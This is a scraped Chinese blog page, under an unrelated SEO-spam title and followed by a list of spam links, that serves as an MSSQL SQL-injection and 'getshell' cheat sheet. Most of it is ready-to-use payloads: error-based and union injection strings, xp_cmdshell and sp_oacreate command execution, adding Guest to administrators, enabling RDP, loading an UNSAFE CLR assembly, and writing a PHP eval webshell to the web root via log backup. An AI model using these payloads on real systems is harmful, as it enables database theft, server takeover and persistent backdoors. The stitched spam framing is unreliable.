当前位置: 首页 > news >正文

介绍公司的话简短精辟seo优化内容

介绍公司的话简短精辟,seo优化内容,恋爱话术小程序搭建,网站后台html页面文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注#xff1a; 七、联合注入1、获取当前表的列数2、获取当前数据库名3、… 文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注 七、联合注入1、获取当前表的列数2、获取当前数据库名3、获取表名4、获取表id5、获取表字段名6、获取manage表中username字段的数据 八、注入流程1、判断权限2、获取当前数据库3、获取当前数据库内的所有数据表4、获取当前数据库内的指定数据表的所有字段5、取指定数据库内的表数据内容 九、getshell1、mssql权限2、SA权限开启xp_cmdshell 获取主机权限1判断xp_cmdshell 是否打开2然后通过上述的execute步骤将xp_cmdshell开启 3、SA权限使用sp_oacreate 执行系统命令1下面的命令可以查看sp_oacreate 是否被允许2开启sp_oacreate3执行添加用户命令 进行测试 4、SA权限使用CLR 执行系统命令创建CLR有两种方式启用CLR功能 5、DB_owner权限 LOG备份Getshell1sql server常见的备份策略2利用前提3注入代码 6、综述 一、MSsql数据库 强类型数据库会把数字和字符严格区分的。 二、MSsql结构 有四个默认的数据库 1、master重点 保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。2、model 模板数据库。每当创建一个新的数据库包括系统数据库的TempDB会创建一个以 Model 数据库为副本数据库并更改成你创建数据库时所用的名。3、msdb 代理的数据库用于配置警报使用 SQL Server 代理和预定作业等。4、tempdb 暂时存储数据的用于存储系统运行过程中临时产生的数据例如用户定义的表、索引等。 三、MSsql重点表 1、master 数据库中的Sysdatabases 表 Sysdatabases 表只保存在 master 数据库中这个表中保存的是所有的库名主要字段有name 数据库名 2、Sysobjects 表 所有数据库内都有此系统表无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名类似MySQL中information_schema数据库中的tables表。主要字段有name表名、id表 ID、xtype创建的对象。 当 xtypeU代表是用户建立的表。 和MySQL的数据库路径方法有区别 Mysqlinformation_schema.tables Mssqlmaster.dbo.sysobjects 3、Syscolumns 表 所有数据库内都有此系统表无论是用户自建的数据库还是系统默认的数据库。 该表存放着当前数据库所有的字段名。主要字段有name分别是字段名称、id表 ID。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。 四、Mssql常用函数 函数函数作用db name()返回当前数据库的名称host_name()返回计算机名称current_user返回当前数据库的用户名user数据库用户substring()字符串截取函数version查看数据库版本char()ASCII 转字符函数cast(text as type())字符类型转换如果转换失败会将 text 结果报错显示在页面上object_id()根据表名返回数据库表名 IDobject_name()根据 ID 返回数据库表名col_name(object_id,column_id) 举例Col_name(object_id(‘users’),2)返回指定表中指定字段(列的名称 五、Mssql的报错注入 由于Mssql是强类型数据库一旦数据类型不匹配就会报错。这时我们就可以利用四则运算让整型数据和字符型数据之间来进行运算例如1user。 举例POCor 1convert(int,version)-- 六、Mssql的盲注 跟mysql差不多区别在于使用的函数不同。 常用以下函数进行盲注 1、patindex(pattern,string) #返回某个字符或正则在某个字符串中第一次出现的位置 2、replace(string,substring1,substring2) #将字符串中出现的某个子串替换成另一个字符串就是将在string中出现的substring1替换成substring2。 举例replace(‘1-a 2-b’,’-’, ’:’)返回结果是1:a 2:b 3、replicate(string,n) #指定的次数复制字符串 举例replicate(‘abc’,3)返回结果是abcabcabc 4、stuff(string,pos,delete_length,insertstring) #先删除字符串中的一个字串再插入一个新的子串作为替换 举例stuff(‘xyz’,2,1,’abc’)返回结果是xabcz 5、upper(string)和lower(string) #将字符串转换成大写或小写 6、rtrim(string)和ltrim(string) #删除字符串中的尾随空格或前导空格 7、charindex(expression1 , expression2 , [ start_location ]) #返回字符串中指定表达式的起始位置若查询到就返回位置若没有查询到就返回false。另外charindex的参数不区分大小写。 七、联合注入 1、获取当前表的列数 id-1 order by 4-- 4不报错5报错 2、获取当前数据库名 id-1 union all select 1,2,db_name(),4-- 这里返回mozhe_db 3、获取表名 id-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype’U’-- 这里返回manage 假如要获取下一个表可以使用老方法直接再where后面添加and name !’manage’就可以弹出下一个表名 4、获取表id id-1 union all select 1,id,3,4 from sysobjects where name’manage’-- 这里返回5575058 5、获取表字段名 id-1 union all select top 1 1,2,name,4 from syscolumns where id5575058 -- 这里返回username 假如要获取下一个字段名可以使用老方法直接在where后面添加and name !’ username’就可以弹出下一个字段名 6、获取manage表中username字段的数据 id-1 union all select top 1 1,2, username ,4 from manage -- 这里返回admin_mz 假如要获取下一个数据可以使用老方法直接在后面添加where username !’ admin_mz’就可以弹出下一个字段名 八、注入流程 1、判断权限 如果页面回显正常则为正确否则报错。举例POC and 1(select IS_SRVROLEMEMBER(‘sysadmin’)) – 2、获取当前数据库 and 1(select db_name()) – 3、获取当前数据库内的所有数据表 and 1convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype‘U’ FOR XML PATH(‘’))) – 注意 convert函数是强制转数据类型的。 Quotename函数的主要作用就是在存储过程中给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。 FOR XML PATH 是将查询结果集以XML形式展现将多行的结果展示在同一行。 4、获取当前数据库内的指定数据表的所有字段 and 1(select quotename(name) from 数据库名.dbo.syscolumns where id (select id from 数据库名…sysobjects where name‘指定表名’) FOR XML PATH(‘’)) – 5、取指定数据库内的表数据内容 and 1(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))– 九、getshell 1、mssql权限 sa权限数据库操作文件管理命令执行注册表读取等system。是mssql的最高权限db权限文件管理数据库操作等 users-administratorspublic权限数据库操作 guest-users 2、SA权限开启xp_cmdshell 获取主机权限 1判断xp_cmdshell 是否打开 select count(*) FROM master.dbo.sysobjects Where xtype X AND name xp_cmdshell 返回1是打开返回0是关闭 如果xp_cmdshell权限没有开启我们可以执行下面命令开启下面四步使xp——cmdshell开启 execute(sp_configure show advanced options,1) #将该选项的值设置为1 execute(reconfigure) #保存设置 execute(sp_configure xp_cmdshell, 1) #将xp_cmdshell的值设置为1 execute(reconfigure) #保存设置 execute(sp_configure) #查看配置 execute(xp_cmdshell whoami) #执行系统命令或者 exec sp_configure show advanced options,1; reconfigure; exec sp_configure xp_cmdshell,1; reconfigure; exec sp_configure; exec xp_cmdshell whoami; 可以执行系统权限之后,前提是获取的主机权限是administrators组里的 exec xp_cmdshell net user Guest 123456 #给guest用户设置密码 exec xp_cmdshell net user Guest /active:yes #激活guest用户 exec xp_cmdshell net localgroup administrators Guest /add #将guest用户添加到administrators用户组 exec xp_cmdshell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1 execute(‘reconfigure’) #保存设置 虽然用第一步判断xp_cmdshell是否打开返回为1但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止 2然后通过上述的execute步骤将xp_cmdshell开启 3、SA权限使用sp_oacreate 执行系统命令 使用sp_oacreate的前提sql server数据服务未降权 我们可以借助sql server中的com组件sp_oacreate来执行系统命令。 1下面的命令可以查看sp_oacreate 是否被允许 declare shell int exec sp_oacreate wscript.shell,shell output exec sp_oamethod shell,run,null,whoami2开启sp_oacreate EXEC sp_configure show advanced options, 1; //类似于exe(sp_configure show advanced options,1) RECONFIGURE WITH OVERRIDE; EXEC sp_configure Ole Automation Procedures, 1; RECONFIGURE WITH OVERRIDE;由此可以看出sp_oacreate 命令无回显 3执行添加用户命令 进行测试 declare shell int exec sp_oacreate wscript.shell,shell output exec sp_oamethod shell,run,null, c:\windows\system32\cmd.exe /c net user hack Password /add --上面sql server语言固定最后一行是执行的系统命令4、SA权限使用CLR 执行系统命令 创建CLR有两种方式 使用DLL文件进行创建使用文件16进制流进行创建 启用CLR功能 exec sp_configure show advanced options, 1; RECONFIGURE; Exec sp_configure clr enabled, 1; RECONFIGURE;如果存在权限问题执行下面命令 alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集因此将数据库标记为安全 EXEC sp_changedbowner sa导入程序集CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 十六进制数据 WITH PERMISSION_SET UNSAFE; CREATE PROCEDURE sp_cmdExec Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如exec sp_cmdExec whoami删除程序集DROP PROCEDURE sp_cmdExec; DROP ASSEMBLY [WarSQLKit];5、DB_owner权限 LOG备份Getshell 无论是LOG备份还是差异备份都是利用备份的过程中写入一句话木马 1sql server常见的备份策略 每周一次完整备份每天一次差异备份每小时一次事务备份 2利用前提 目标机器存在数据库备份文件。也就是说如果我们利用test数据库那么要求test数据库存在数据库备份文件而且恢复模式得是完整模式知道网站的绝对路径支持堆叠注入 3注入代码 alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式 create table cmd (a image); #创建一张表cmd只有一个列 a类型为image backup log 数据库名 to disk C:\phpstudy\WWW\1.php with init; #备份表到指定路径 insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里十六进制为一句话木马?php eval($_POST[x]);? backup log 数据库名 to diskC:\phpstudy\WWW\2.php; #把操作日志备份到指定文件 drop table cmd; #删除cmd表6、综述 利用日志备份类似于mysql的在日志中写入一句话木马。 修改数据库恢复模式为完整模式然后创建一个表备份表到指定路径 在表中插入一句话木马将日志文件备份到我们知道的路径最后删除创建的表
http://www.zqtcl.cn/news/221969/

相关文章:

  • 1.网站开发的详细流程电商网站开发文档
  • 域名估价网站制作网站需要注意什么
  • 新浪云虚拟主机做电影网站用什么l软件做网站了
  • 方城网站建设猴痘的治疗方法
  • 做响应式网站有什么插件哔哩哔哩免费安装
  • 织梦网站默认密码wordpress菜单页和文章页路径不同
  • 那些网站可以做兼职网站建设与维护 东博
  • 快速建站的模板建设银行嘉兴分行官方网站
  • 江西智能网站建设wordpress三栏博客主题
  • 怎么做网站账号注册机sem竞价
  • 吕梁建设机械网站怎么让网站排名上去
  • 网站建设的需要分析龙岗招聘网
  • 如何制作企业的网站网站开发答辩ppt
  • 大连中山网站建设网站在线qq代码
  • 南昌seo网站微商城网站建设如何
  • anker 网站建设手机可以做网站的服务器吗
  • 门户网站建设 报价没有网页快照对网站有什么影响
  • 陕西专业网站建设哪家好甜点网站里的新闻资讯怎么做
  • 邯郸企业网站团队h5微场景制作软件
  • 镇江建工建设集团网站泛微e8做网站门户
  • 适合友情链接的网站全球软件公司排行榜
  • 沈阳网站制作 600元网站飘动广告代码
  • 最先进的无锡网站建设wordpress调用 别的网站
  • 河南网站备案地址静安青岛网站建设
  • 烟台网站建设推荐企汇互联见效付款查看网站被百度收录
  • 做标签网站360街景地图怎么看
  • 深圳网站建设领先天津建设企业网站
  • 网站建设犭金手指C排名15温州 建网站的公司
  • 邢台建设银行官方网站公众号开发者密码是什么意思
  • 网站录入信息 前台查询功能怎么做营销网站主题有哪些内容